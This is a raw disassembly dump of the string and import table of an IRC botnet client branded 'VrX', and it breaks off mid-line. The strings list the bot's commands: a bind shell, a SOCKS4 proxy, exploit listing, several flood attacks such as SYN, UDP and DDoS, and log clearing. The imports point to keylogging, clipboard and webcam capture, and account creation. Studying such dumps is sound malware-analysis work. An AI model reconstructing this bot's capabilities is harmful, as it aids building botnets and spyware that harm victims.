sub_401ACD:loc_4033F9o dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+1902o dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo align 4 aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o ; sub_401ACD+17D5o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo aT: ; DATA XREF: sub_401ACD+16D9o ; ___:00438AFCo unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o aI: ; DATA XREF: sub_401ACD+165Do unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1648o align 4 aS_0: ; DATA XREF: sub_401ACD+1633o ; ___:00438B4Co unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo align 4 aQ: ; DATA XREF: sub_401ACD+1609o ; ___:off_438768o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o align 10h aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo align 10h aR: ; DATA XREF: sub_401ACD+15B5o ; sub_401ACD+3D8Eo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o align 4 dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo align 4 dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o align 10h dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o align 10h dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o ; sub_401ACD+13A3o dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o ; sub_401ACD+139Eo dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o ; sub_401ACD+137Ao dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o ; sub_401ACD+1375o dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o ; sub_401ACD+13F5o dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o ; sub_401ACD+13F0o dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo ; sub_401ACD+13CCo dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o ; sub_401ACD+13C7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o align 4 dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo ; sub_401ACD+12C8o dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o ; sub_401ACD+12C3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo align 4 dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o ; sub_401ACD+12AAo dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo ; sub_401ACD+12A5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o align 4 dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o ; sub_401ACD+1328o dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o ; sub_401ACD+1323o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo align 4 dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o ; sub_401ACD+124Ao dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo ; sub_401ACD+1245o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o ; sub_401ACD+122Co dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o ; sub_401ACD+1227o dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o align 4 dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo align 4 dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o align 10h dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o align 4 dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1037o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o ; sub_401ACD+1085o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o ; sub_401ACD+2D26o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo ; sub_401ACD+2D15o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o align 4 aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o ; sub_401ACD+EDEo aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co a63 db '63',0 ; DATA XREF: sub_401ACD+D69o align 4 asc_42CAAC: ; DATA XREF: sub_401ACD+D41o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo align 4 aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o align 4 aK: ; DATA XREF: sub_401ACD+A9Fo ; sub_401ACD+3DBCo unicode 0, <k>,0 aC: ; DATA XREF: sub_401ACD+A87o ; sub_401ACD+4AA4o unicode 0, <c>,0 unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co align 4 unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+8F3o dd 0A0Dh dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8B4o dd 0D017325h, 0Ah dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo ; sub_40CD43+1Bo unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo ; sub_401ACD+979o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o align 10h dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo ; sub_401ACD+AC1o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do ; sub_409869+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o ; sub_409869+16o unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o ; sub_401ACD+5CDo align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+5F1o unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2E79o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7A88o ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_417B76:loc_417BDEo a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3BBo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_417B76+50o align 4 asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7B9Do unicode 0, <!>,0 asc_42CDC0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E41o ... unicode 0, < >,0 asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_4025E6o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo ; sub_418AF1+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o ; sub_418AF1+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409909+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409909+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409909+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo ; sub_425029+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao align 4 unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 